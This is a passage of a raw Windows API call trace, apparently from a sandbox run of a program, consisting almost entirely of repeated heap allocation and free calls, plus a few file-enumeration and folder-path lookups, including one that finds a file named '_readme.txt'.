(HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.209] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.209] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.214] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307c498 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.216] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0122.216] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.216] PathFindFileNameW (pszPath="") returned="" [0122.216] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.216] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.216] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307c498 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.216] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.216] 